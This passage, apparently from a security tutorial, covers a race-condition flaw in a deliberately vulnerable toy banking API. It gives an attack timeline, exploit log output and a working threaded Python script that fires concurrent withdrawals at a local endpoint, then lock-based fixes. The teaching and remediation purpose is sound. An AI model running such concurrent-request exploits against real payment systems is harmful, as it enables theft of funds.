    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reset&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The frontend (&lt;code&gt;index.html&lt;/code&gt;) is a polished banking dashboard: Balance hero, withdraw/deposit forms, transaction history. But scroll down — there's an "Exploit Panel" for the attack, complete with concurrent request launcher, live logs, and theft stats. (Full HTML code below; it's ~500 lines of CSS/JS magic for that pro feel.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The Heist: Exploiting the Race Window
&lt;/h2&gt;

&lt;p&gt;As the attacker (let's call you "ShadowWire," a curious pentester), you recon the API with Burp or curl. Balance check? Clean. Single withdraw? Fine. But load testing reveals the crack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Timeline: The Crowbar in Action
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;t=0s: 5 threads hit /withdraw?amount=300
     All read balance=1000 → All pass "if &amp;gt;=300"

t=2s: Delays end sequentially
     Thread1: 1000-300=700 ✓
     Thread2: 700-300=400 ✓
     Thread3: 400-300=100 ✓
     Thread4: 100-300=-200 ✓ (no check!)
     Thread5: -200-300=-500 ✗ (but 4 already succeeded)

Net: $1,200 stolen from $1,000. Bank? -$500. ShadowWire walks with $900 profit.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Hands-On Exploit #1: UI Attack Panel
&lt;/h3&gt;

&lt;p&gt;In the frontend's "Race Condition Lab" panel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set amount=$300, threads=4.&lt;/li&gt;
&lt;li&gt;Hit "🚀 Launch Attack".&lt;/li&gt;
&lt;li&gt;Watch the log:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  [*] Target balance: $1,000
  [*] Firing 4 simultaneous requests for $300 each...
  [✓] Request 1: SUCCESS — withdrew $300, balance now $700
  [✓] Request 2: SUCCESS — withdrew $300, balance now $400
  [✗] Request 3: FAILED — Insufficient funds
  [+] VULNERABILITY CONFIRMED: Over-withdrew by $300!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Balance refreshes to $400 (wait, what?). You just "stole" $300 extra. Reset via &lt;code&gt;/reset&lt;/code&gt; and retry with more threads for bigger hauls.&lt;/p&gt;

&lt;p&gt;The JS uses &lt;code&gt;Promise.all&lt;/code&gt; for concurrency — pure browser-based TOCTOU.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hands-On Exploit #2: Scripted Fury (&lt;code&gt;exploit.py&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;For automation (or chaining in a Burp Turbo Intruder setup):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;TARGET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8000/withdraw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;THREADS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;AMOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;

&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;thread_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Thread &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;thread_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; sending request&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TARGET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AMOUNT&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Thread &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;thread_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; response: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;threads&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;THREADS&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
        &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Attack completed in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Results:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Fetch final balance
&lt;/span&gt;    &lt;span class="n"&gt;bal_r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8000/balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Final balance: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;bal_r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run: &lt;code&gt;python exploit.py&lt;/code&gt;. Output? Five "successes," balance in the red. Scale THREADS to 10 for mayhem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Autopsy: Why the Vault Cracked
&lt;/h2&gt;

&lt;p&gt;Non-atomic ops on shared state. The &lt;code&gt;if&lt;/code&gt; check reads a snapshot; the deduct writes to a mutated version. In production? Same with non-transactional DBs. Real hits: Ether's DAO hack (millions lost to races), Ticketmaster oversells, eBay coupon clones.&lt;/p&gt;

&lt;p&gt;Detection? Fuzz with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Burp Intruder/Turbo&lt;/strong&gt;: Cluster bomb on threads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scripts&lt;/strong&gt;: Threading/asyncio for Python/Go.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Load Tools&lt;/strong&gt;: &lt;code&gt;wrk -t10 -c100&lt;/code&gt;, &lt;code&gt;k6&lt;/code&gt; scripts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Counter-Heist: Fortifying NovaPay
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Fix #1: Lock It Down (&lt;code&gt;server_fixed_lock.py&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Wrap the critical section in a &lt;code&gt;threading.Lock()&lt;/code&gt;. Only one withdraw at a time — serializes the race.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi.middleware.cors&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;allow_methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;allow_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;wallet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alex Johnson&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;****4291&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]}&lt;/span&gt;
&lt;span class="n"&gt;lock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# ... (home, balance, deposit, reset unchanged)
&lt;/span&gt;
&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/withdraw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# Atomic block
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Delay still happens, but serialized
&lt;/span&gt;            &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;
            &lt;span class="n"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;debit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%H:%M:%S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
            &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;withdrawn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;new_balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Insufficient funds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tradeoff: Throughput drops under load. Fine for low-traffic, but scale with Redis locks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fix #2: Atomic Math (&lt;code&gt;server_fixed_atomic.py&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Ditch the check-delay-deduct. Compute &lt;em&gt;new&lt;/em&gt; balance first, reject if negative. No window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi.middleware.cors&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
